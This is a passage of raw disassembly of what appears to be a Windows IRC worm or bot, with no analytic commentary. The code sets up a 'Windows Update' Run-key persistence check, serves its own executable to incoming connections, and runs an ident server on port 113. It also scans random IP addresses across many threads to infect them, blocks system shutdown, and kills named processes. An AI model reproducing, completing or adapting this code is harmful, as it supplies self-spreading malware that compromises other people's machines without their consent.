; lstrcmp mov ebx, dword_31101094 test eax, eax jnz loc_311029C3 lea eax, [esi+180h] push eax call dword_311010D0 ; lstrlen cmp eax, 0FFh jge loc_311029C3 cmp dword ptr [esi+284h], 0 jnz loc_311029C3 cmp dword ptr [esi+7Ch], 0 jnz loc_311029C3 lea eax, [edi+1] push 7Ch push eax call ebp ; strchr mov ebp, eax pop ecx test ebp, ebp pop ecx jz loc_311029A4 and byte ptr [ebp+0], 0 lea eax, [edi+1] push eax call dword_311010D0 ; lstrlen cmp eax, 100h jge loc_31102A89 lea eax, [edi+1] push eax lea eax, [esp+2E0h+var_100] push eax call ebx ; lstrcpy push [esp+2DCh+var_2CC] lea eax, [esi+80h] mov byte ptr [edi], 7Ch push eax call ebx ; lstrcpy mov byte ptr [ebp+0], 7Ch and byte ptr [edi], 0 cmp [esp+2DCh+var_100], 64h jle short loc_311029B1 lea eax, [esp+2DCh+var_FF] push eax call dword_31101104 ; atoi mov ebp, eax pop ecx test ebp, ebp jz short loc_311029B1 cmp ebp, 0E10h jnb short loc_311029B1 call dword_31101128 ; rand xor edx, edx mov dword ptr [esi+7Ch], 1 div ebp mov [esi+78h], edx call dword_311010F0 ; GetTickCount mov [esi+74h], eax jmp short loc_311029B1 ; --------------------------------------------------------------------------- loc_311029A4: ; CODE XREF: sub_3110277D+19Dj push [esp+2DCh+var_2CC] lea eax, [esi+80h] push eax call ebx ; lstrcpy loc_311029B1: ; CODE XREF: sub_3110277D+1E9j ; sub_3110277D+1FEj ... lea eax, [esi+80h] push offset asc_31105E24 ; "|" push eax call dword_31101090 ; lstrcat loc_311029C3: ; CODE XREF: sub_3110277D+15Aj ; sub_3110277D+172j ... mov ebp, dword_31101088 lea eax, [esp+2DCh+var_200] push offset aI ; "i" push eax call ebp ; lstrcmp test eax, eax jnz short loc_31102A39 lea eax, [esp+2DCh+var_2C8] push offset dword_31105FF0 push eax call ebx ; lstrcpy lea eax, [esp+2DCh+var_2C8] push 63h push eax push 7 push 400h call dword_31101088+4 push ds:dword_31106034 lea eax, [esp+2E0h+var_2C8] push eax lea eax, [esp+2E4h+var_264] push ds:dword_31106030 push dword_31105FF8 push offset aDD11SD ; "%d,%d,11%s,%d" push eax call dword_31101130 ; wsprintfA add esp, 18h lea eax, [esp+2DCh+var_264] mov ecx, esi push eax lea eax, [esi+30h] push eax call sub_3110238E loc_31102A39: ; CODE XREF: sub_3110277D+25Dj lea eax, [esp+2DCh+var_200] push offset aQ ; "q" push eax call ebp ; lstrcmp test eax, eax jnz short loc_31102A59 cmp [esi+284h], eax jz short loc_31102A59 push 1 pop eax jmp short loc_31102A8B ; --------------------------------------------------------------------------- loc_31102A59: ; CODE XREF: sub_3110277D+2CDj ; sub_3110277D+2D5j mov byte ptr [edi], 7Ch loc_31102A5C: ; CODE XREF: sub_3110277D+A3j ; sub_3110277D+B3j ... cmp dword ptr [esi+284h], 0 jnz short loc_31102A6B cmp dword ptr [esi+7Ch], 0 jz short loc_31102A89 loc_31102A6B: ; CODE XREF: sub_3110277D+2E6j push offset aJoin ; "JOIN" push [esp+2E0h+arg_0] call dword_31101114 ; strstr pop ecx test eax, eax pop ecx jz short loc_31102A89 call dword_31101128 ; rand loc_31102A89: ; CODE XREF: sub_3110277D+E2j ; sub_3110277D+123j ... xor eax, eax loc_31102A8B: ; CODE XREF: sub_3110277D+2DAj pop edi pop esi pop ebp pop ebx add esp, 2CCh retn 4 sub_3110277D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31102A98 proc near ; CODE XREF: sub_311014E6+8p ; sub_31102405+57p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_311010F0 ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_31101108 ; srand pop ecx pop edi pop esi pop ebx leave retn sub_31102A98 endp ; =============== S U B R O U T I N E ======================================= sub_31102AC6 proc near ; CODE XREF: sub_31101C40+EAp ; UPX0:31102E06p ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_31101084 ; CreateMutexA retn sub_31102AC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31102AD5 proc near ; CODE XREF: sub_31102E62+DBp ; sub_31102E62+E6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_311010C8 ; CreateThread pop ebp retn sub_31102AD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31102AEF proc near ; CODE XREF: sub_31102C74+12Cp ; sub_31102E62+C1p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_311010C8 ; CreateThread push eax call dword_311010A4 ; CloseHandle pop ebp retn sub_31102AEF endp ; =============== S U B R O U T I N E ======================================= sub_31102B10 proc near ; CODE XREF: sub_31101E80+88p ; sub_31101E80+155p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_31102B38 loc_31102B21: ; CODE XREF: sub_31102B10+26j call dword_31101128 ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_31102B21 loc_31102B38: ; CODE XREF: sub_31102B10+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_31102B10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31102B40 proc near ; CODE XREF: sub_31101361+16Bp ; sub_31102663+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_311037DA ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_31101080 ; CreateProcessA push [ebp+var_C] mov esi, dword_311010A4 mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_31102B40 endp ; =============== S U B R O U T I N E ======================================= sub_31102B96 proc near ; CODE XREF: sub_31101E80+20p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push edi call dword_31101168 ; inet_addr mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_31102BB3 test esi, esi jnz short loc_31102BC5 cmp byte ptr [edi], 30h jz short loc_31102BCC loc_31102BB3: ; CODE XREF: sub_31102B96+12j push edi call dword_3110116C ; gethostbyname test eax, eax jz short loc_31102BC5 mov eax, [eax+0Ch] mov eax, [eax] mov esi, [eax] loc_31102BC5: ; CODE XREF: sub_31102B96+16j ; sub_31102B96+26j cmp esi, 0FFFFFFFFh jnz short loc_31102BCC xor esi, esi loc_31102BCC: ; CODE XREF: sub_31102B96+1Bj ; sub_31102B96+32j mov eax, esi pop edi pop esi retn sub_31102B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31102BD1 proc near ; CODE XREF: sub_31103212+3Ep ; sub_311032D9+62p var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_31101160 ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_31102BF2 call dword_31101164 ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_31102BF2: ; CODE XREF: sub_31102BD1+15j lea eax, [ebp+var_34] push eax call dword_3110116C ; gethostbyname test eax, eax jnz short loc_31102C07 mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_31102C07: ; CODE XREF: sub_31102BD1+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_31102BD1 endp ; =============== S U B R O U T I N E ======================================= sub_31102C10 proc near ; CODE XREF: sub_31102280:loc_311022BBp ; sub_31102280+DEp ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_31101148 ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_31102C10 endp ; =============== S U B R O U T I N E ======================================= sub_31102C26 proc near ; DATA XREF: sub_31102C74+127o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push dword_31105FFC push dword_31105FF4 push esi call dword_3110119C ; send push 7D0h call dword_311010D4 ; Sleep push offset dword_31105FF8 call dword_3110107C ; InterlockedIncrement push 2 push esi call dword_3110117C ; shutdown push esi call dword_31101194 ; closesocket push 0 call dword_311010BC ; ExitThread xor eax, eax pop esi retn 4 sub_31102C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31102C74 proc near ; DATA XREF: sub_31102E62+E1o var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_31102A98 lea eax, [ebp+var_130] push 104h push eax push offset aWindowsUpdate ; "Windows Update" xor ebx, ebx push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov dword_31105FF8, ebx call sub_31103401 add esp, 14h test eax, eax jnz loc_31102DA9 push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_311010AC ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31102CE0 push 1 call dword_311010BC ; ExitThread loc_31102CE0: ; CODE XREF: sub_31102C74+62j push ebx push esi call dword_31101074 ; GetFileSize push eax mov dword_31105FFC, eax call sub_311037AE pop ecx mov dword_31105FF4, eax lea ecx, [ebp+var_4] push ebx push ecx push dword_31105FFC push eax push esi call dword_31101078 ; ReadFile mov eax, [ebp+var_4] push esi mov dword_31105FFC, eax call dword_311010A4 ; CloseHandle push ebx push 1 push 2 call dword_31101180 ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_311037DA ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_31102D42: ; CODE XREF: sub_31102C74+E5j ; sub_31102C74+EDj ... call dword_31101128 ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov ds:dword_31106028, eax jz short loc_31102D42 xor ecx, ecx mov cl, ah test cl, cl jz short loc_31102D42 push eax call dword_31101184 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31101188 ; bind test eax, eax jnz short loc_31102D42 push 64h push edi call dword_3110118C ; listen mov [ebp+var_8], esi pop esi loc_31102D8B: ; CODE XREF: sub_31102C74+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_31101190 ; accept push eax push offset sub_31102C26 call sub_31102AEF pop ecx pop ecx jmp short loc_31102D8B ; --------------------------------------------------------------------------- loc_31102DA9: ; CODE XREF: sub_31102C74+3Dj push ebx call dword_311010BC ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_31102C74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31102DB8 proc near ; CODE XREF: sub_31102E62:loc_31102F18p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_3110115C push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_31102DB8 endp ; --------------------------------------------------------------------------- loc_31102DE4: ; CODE XREF: UPX1:31108378j push 0 call dword_311010EC ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov ds:dword_3110602C, eax call dword_3110106C ; DeleteFileA call sub_31102A98 push offset aUterm11 ; "uterm11" call sub_31102AC6 pop ecx mov ds:dword_31106000, eax call dword_31101098 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_31102E26 push 1 call dword_31101070 ; ExitProcess loc_31102E26: ; CODE XREF: UPX0:31102E1Cj call sub_31101BB8 call sub_31103565 call sub_311036D8 push offset sub_31102E62 call sub_31101C40 test eax, eax pop ecx jz short loc_31102E4B push 0 call sub_31102E62 loc_31102E4B: ; CODE XREF: UPX0:31102E42j xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_31102E4E proc near ; CODE XREF: sub_31102280+5Bp ; sub_31102E62:loc_31102F66p ... push 0 push ds:dword_31106004 call dword_311010C4 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_31102E4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31102E62 proc near ; CODE XREF: UPX0:31102E46p ; DATA XREF: UPX0:31102E35o var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_311011A8 push offset loc_31103836 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi push offset aU11x ; "u11x" xor edi, edi push edi push 1 push edi call dword_311010CC ; CreateEventA mov ds:dword_31106004, eax push offset aU10x ; "u10x" push edi push 2 call dword_31101068 ; OpenEventA cmp eax, edi jz short loc_31102EB4 push eax call dword_311010C0 ; SetEvent loc_31102EB4: ; CODE XREF: sub_31102E62+49j mov [ebp+var_4], edi push offset aU8 ; "u8" call sub_31102AC6 mov [esp+8+var_8], offset aU9 ; "u9" call sub_31102AC6 mov [esp+8+var_8], offset aU10 ; "u10" call sub_31102AC6 pop ecx cmp [ebp+arg_0], edi jz short loc_31102F18 push offset aWs2_32 ; "ws2_32" mov esi, dword_311010E0 call esi ; LoadLibraryA push offset aWininet ; "wininet" call esi ; LoadLibraryA push offset aMsvcrt ; "msvcrt" call esi ; LoadLibraryA push offset aAdvapi32 ; "advapi32" call esi ; LoadLibraryA push offset aUser32 ; "user32" call esi ; LoadLibraryA push offset aUterm11 ; "uterm11" call sub_31102AC6 pop ecx mov ds:dword_31106000, eax loc_31102F18: ; CODE XREF: sub_31102E62+7Bj call sub_31102DB8 push edi push offset sub_31102FCD call sub_31102AEF pop ecx pop ecx push 1F4h mov esi, dword_311010D4 call esi ; Sleep push edi push offset loc_31102463 call sub_31102AD5 push edi push offset sub_31102C74 call sub_31102AD5 push edi push offset sub_31101582 call sub_31102AD5 push edi push offset sub_311032D9 call sub_31102AD5 add esp, 20h loc_31102F66: ; CODE XREF: sub_31102E62+11Bj call sub_31102E4E test eax, eax jnz short loc_31102F7F push edi call dword_31101018 ; AbortSystemShutdownA push 1388h call esi ; Sleep jmp short loc_31102F66 ; --------------------------------------------------------------------------- loc_31102F7F: ; CODE XREF: sub_31102E62+10Bj or [ebp+var_4], 0FFFFFFFFh call nullsub_1 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_31102E62 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_31102F9C proc near ; CODE XREF: sub_31102FCD+F9p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_311037E0 ; strlen test eax, eax pop ecx jbe short loc_31102FCA loc_31102FAF: ; CODE XREF: sub_31102F9C+2Cj mov al, [esi+edi] cmp al, 0Ah jz short loc_31102FBA cmp al, 0Dh jnz short loc_31102FBE loc_31102FBA: ; CODE XREF: sub_31102F9C+18j and byte ptr [esi+edi], 0 loc_31102FBE: ; CODE XREF: sub_31102F9C+1Cj push edi inc esi call sub_311037E0 ; strlen cmp esi, eax pop ecx jb short loc_31102FAF loc_31102FCA: ; CODE XREF: sub_31102F9C+11j pop edi pop esi retn sub_31102F9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31102FCD proc near ; DATA XREF: sub_31102E62+BCo var_154 = dword ptr -154h var_148 = byte ptr -148h var_48 = byte ptr -48h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 148h push ebx mov [ebp+var_8], esp call sub_31102A98 call dword_31101128 ; rand push 4 cdq pop ecx idiv ecx lea eax, [ebp+var_48] add edx, 3 push edx push eax call sub_31102B10 lea eax, [ebp+var_48] mov ebx, offset dword_31106008 push eax push ebx call sub_31103842 ; _mbscpy add esp, 10h mov [ebp+var_4], 10h push 0 push 1 push 2 call dword_31101180 ; socket push 0 mov [ebp+var_8], eax mov [ebp+var_18], 2 call dword_31101158 ; htonl push 71h mov [ebp+var_14], eax call dword_31101184 ; htons push [ebp+var_4] mov [ebp+var_16], ax lea eax, [ebp+var_18] push eax push [ebp+var_8] call dword_31101188 ; bind test eax, eax jz short loc_31103059 push 1 pop eax loc_31103054: ; CODE XREF: sub_31102FCD+A2j pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_31103059: ; CODE XREF: sub_31102FCD+82j push esi push edi push 5 push [ebp+var_8] call dword_3110118C ; listen test eax, eax jz short loc_31103071 push 1 pop eax pop edi pop esi jmp short loc_31103054 ; --------------------------------------------------------------------------- loc_31103071: ; CODE XREF: sub_31102FCD+9Bj mov edi, dword_311010D4 loc_31103077: ; CODE XREF: sub_31102FCD+C6j ; sub_31102FCD+E8j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+var_8] call dword_31101190 ; accept mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31103095 push 64h call edi ; Sleep jmp short loc_31103077 ; --------------------------------------------------------------------------- loc_31103095: ; CODE XREF: sub_31102FCD+C0j push 0 lea eax, [ebp+var_148] push 100h push eax push esi call dword_31101198 ; recv test eax, eax jnz short loc_311030B7 loc_311030AE: ; CODE XREF: sub_31102FCD+157j push esi call dword_31101194 ; closesocket jmp short loc_31103077 ; --------------------------------------------------------------------------- loc_311030B7: ; CODE XREF: sub_31102FCD+DFj and [ebp+eax+var_148], 0 lea eax, [ebp+var_148] push eax call sub_31102F9C lea eax, [ebp+var_148] mov [esp+154h+var_154], offset aUseridUnix ; " : USERID : UNIX : " push eax call sub_3110383C ; _mbscat lea eax, [ebp+var_148] push ebx push eax call sub_3110383C ; _mbscat lea eax, [ebp+var_148] push offset asc_31105E7C ; "\r\n" push eax call sub_3110383C ; _mbscat add esp, 18h lea eax, [ebp+var_148] push 0 push eax call sub_311037E0 ; strlen pop ecx push eax lea eax, [ebp+var_148] push eax push esi call dword_3110119C ; send push 1388h call edi ; Sleep jmp short loc_311030AE sub_31102FCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31103126 proc near ; DATA XREF: sub_3110318A+55o ; sub_31103212+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31103135 push 1 pop eax jmp short locret_31103186 ; --------------------------------------------------------------------------- loc_31103135: ; CODE XREF: sub_31103126+8j mov al, byte ptr [ebp+arg_0+3] push ebx push esi mov [ebp+var_1], al xor bl, bl loc_3110313F: ; CODE XREF: sub_31103126+5Aj call sub_31102E4E test eax, eax jnz short loc_31103182 call sub_31102C10 test eax, eax jz short loc_31103182 cmp [ebp+var_1], bl jz short loc_3110317B mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_31101651 movzx esi, ds:word_31106038 pop ecx call dword_31101128 ; rand cdq idiv esi add edx, esi push edx call dword_311010D4 ; Sleep loc_3110317B: ; CODE XREF: sub_31103126+2Ej inc bl cmp bl, 0FFh jb short loc_3110313F loc_31103182: ; CODE XREF: sub_31103126+20j ; sub_31103126+29j pop esi xor eax, eax pop ebx locret_31103186: ; CODE XREF: sub_31103126+Dj leave retn 4 sub_31103126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3110318A proc near ; DATA XREF: sub_31103212+7Eo ; sub_311032D9+BEo arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31103198 push 1 pop eax jmp short loc_3110320E ; --------------------------------------------------------------------------- loc_31103198: ; CODE XREF: sub_3110318A+7j push ebx push esi push edi call sub_31102A98 mov esi, dword_31101128 xor ebx, ebx loc_311031A8: ; CODE XREF: sub_3110318A+7Dj call sub_31102E4E test eax, eax jnz short loc_31103209 call sub_31102C10 test eax, eax jz short loc_31103209 call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_31106030 mov byte ptr [ebp+arg_0+3], al call dword_3110107C ; InterlockedIncrement push [ebp+arg_0] call sub_31101651 test eax, eax pop ecx jnz short loc_311031EB push [ebp+arg_0] push offset sub_31103126 call sub_31102AEF pop ecx pop ecx loc_311031EB: ; CODE XREF: sub_3110318A+50j movzx edi, ds:word_31106038 call esi ; rand cdq idiv edi add edx, edi push edx call dword_311010D4 ; Sleep inc ebx cmp ebx, 8000h jl short loc_311031A8 loc_31103209: ; CODE XREF: sub_3110318A+25j ; sub_3110318A+2Ej pop edi pop esi xor eax, eax pop ebx loc_3110320E: ; CODE XREF: sub_3110318A+Cj pop ebp retn 4 sub_3110318A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31103212 proc near ; DATA XREF: sub_311032D9+D6o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_31102A98 call sub_31102E4E test eax, eax jnz loc_311032CB push ebx mov ebx, dword_311010D4 push esi mov esi, dword_31101128 push edi loc_31103238: ; CODE XREF: sub_31103212+48j ; sub_31103212+B0j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_31103247: ; CODE XREF: sub_31103212+3Cj call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_31103247 call sub_31102BD1 mov edi, [ebp+var_4] cmp edi, eax jz short loc_31103238 call sub_31102C10 test eax, eax jz short loc_311032A3 push offset dword_31106030 call dword_3110107C ; InterlockedIncrement push edi call sub_31101651 test eax, eax pop ecx jnz short loc_311032AA push edi push offset sub_31103126 call sub_31102AEF pop ecx mov [ebp+var_8], 4 pop ecx loc_3110328F: ; CODE XREF: sub_31103212+8Dj push edi push offset sub_3110318A call sub_31102AEF dec [ebp+var_8] pop ecx pop ecx jnz short loc_3110328F jmp short loc_311032AA ; --------------------------------------------------------------------------- loc_311032A3: ; CODE XREF: sub_31103212+51j push 2710h call ebx ; Sleep loc_311032AA: ; CODE XREF: sub_31103212+67j ; sub_31103212+8Fj movzx edi, ds:word_31106038 call esi ; rand cdq idiv edi add edx, edi push edx call ebx ; Sleep call sub_31102E4E test eax, eax jz loc_31103238 pop edi pop esi pop ebx loc_311032CB: ; CODE XREF: sub_31103212+11j push 0 call dword_311010BC ; ExitThread xor eax, eax leave retn 4 sub_31103212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_311032D9 proc near ; DATA XREF: sub_31102E62+F7o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi xor esi, esi mov ds:dword_31106030, esi loc_311032E9: ; CODE XREF: sub_311032D9+24j call sub_31102C10 test eax, eax jnz short loc_311032FF push 1388h call dword_311010D4 ; Sleep jmp short loc_311032E9 ; --------------------------------------------------------------------------- loc_311032FF: ; CODE XREF: sub_311032D9+17j lea eax, [ebp+var_4] push esi push eax call dword_31101148 ; InternetGetConnectedState test [ebp+var_4], 2 push 50h mov ds:dword_31106034, esi pop ebx mov ds:word_31106038, 96h jz short loc_3110333A mov ds:dword_31106034, 1 mov ebx, 12Ch mov ds:word_31106038, 14h loc_3110333A: ; CODE XREF: sub_311032D9+47j push edi call sub_31102BD1 mov esi, eax mov ax, word ptr ds:dword_31106028 push eax call dword_31101184 ; htons mov [ebp+var_8], eax lea eax, [ebp+var_8] push 2 push eax push offset loc_31105122 call sub_311037D4 ; memcpy mov eax, esi push 4 xor eax, 0AAAAAAAAh pop edi mov [ebp+var_C], eax lea eax, [ebp+var_C] push edi push eax push offset loc_31105124 call sub_311037D4 ; memcpy add esp, 18h cmp esi, 100007Fh jz short loc_31103396 push esi push offset sub_31103126 call sub_31102AEF pop ecx pop ecx loc_31103396: ; CODE XREF: sub_311032D9+AEj ; sub_311032D9+CBj push esi push offset sub_3110318A call sub_31102AEF pop ecx dec edi pop ecx jnz short loc_31103396 test ebx, ebx pop edi jle short loc_311033BE mov esi, ebx loc_311033AD: ; CODE XREF: sub_311032D9+E3j push 0 push offset sub_31103212 call sub_31102AEF pop ecx dec esi pop ecx jnz short loc_311033AD loc_311033BE: ; CODE XREF: sub_311032D9+D0j push 0FFFFFFFFh call dword_311010D4 ; Sleep pop esi xor eax, eax pop ebx leave retn sub_311032D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_311033CC proc near ; CODE XREF: sub_31103565+85p ; sub_311036D8+B5p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3110100C ; RegOpenKeyExA test eax, eax jnz short loc_311033FF push [ebp+arg_8] push [ebp+arg_4] call dword_31101010 ; RegDeleteValueA push [ebp+arg_4] call dword_31101014 ; RegCloseKey loc_311033FF: ; CODE XREF: sub_311033CC+1Cj pop ebp retn sub_311033CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31103401 proc near ; CODE XREF: sub_31102C74+33p ; sub_31103565+76p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3110100C ; RegOpenKeyExA test eax, eax jz short loc_3110342D push 1 pop eax jmp short loc_31103457 ; --------------------------------------------------------------------------- loc_3110342D: ; CODE XREF: sub_31103401+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31101008 ; RegQueryValueExA test eax, eax jz short loc_3110344C push 2 pop esi loc_3110344C: ; CODE XREF: sub_31103401+46j push [ebp+arg_10] call dword_31101014 ; RegCloseKey mov eax, esi loc_31103457: ; CODE XREF: sub_31103401+2Aj pop esi leave retn sub_31103401 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3110345A proc near ; CODE XREF: sub_3110360C+96p ; sub_311036D8+60p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31101000 ; RegCreateKeyExA test eax, eax jz short loc_31103483 push 1 pop eax jmp short loc_311034AA ; --------------------------------------------------------------------------- loc_31103483: ; CODE XREF: sub_3110345A+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31101004 ; RegSetValueExA test eax, eax jz short loc_3110349F push 2 pop esi loc_3110349F: ; CODE XREF: sub_3110345A+40j push [ebp+arg_4] call dword_31101014 ; RegCloseKey mov eax, esi loc_311034AA: ; CODE XREF: sub_3110345A+27j pop esi pop ebp retn sub_3110345A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_311034AD proc near ; CODE XREF: sub_31103565+91p var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_311010D0 ; lstrlen mov esi, eax dec esi test esi, esi jle loc_31103561 loc_311034CD: ; CODE XREF: sub_311034AD+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_311034D6 dec esi jns short loc_311034CD loc_311034D6: ; CODE XREF: sub_311034AD+24j push 0 push 2 call sub_31103854 ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_31103561 push 128h lea eax, [ebp+var_128] push 0 push eax call sub_311037DA ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_3110384E ; Process32First test eax, eax jz short loc_31103561 lea esi, [esi+ebx+1] loc_3110351E: ; CODE XREF: sub_311034AD+B2j lea eax, [ebp+var_104] push eax push esi call dword_31101114 ; strstr pop ecx test eax, eax pop ecx jz short loc_3110354E push [ebp+var_120] push 0 push 1F0FFFh call dword_311010E8 ; OpenProcess push 0 push eax call dword_31101060 ; TerminateProcess loc_3110354E: ; CODE XREF: sub_311034AD+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_31103848 ; Process32Next test 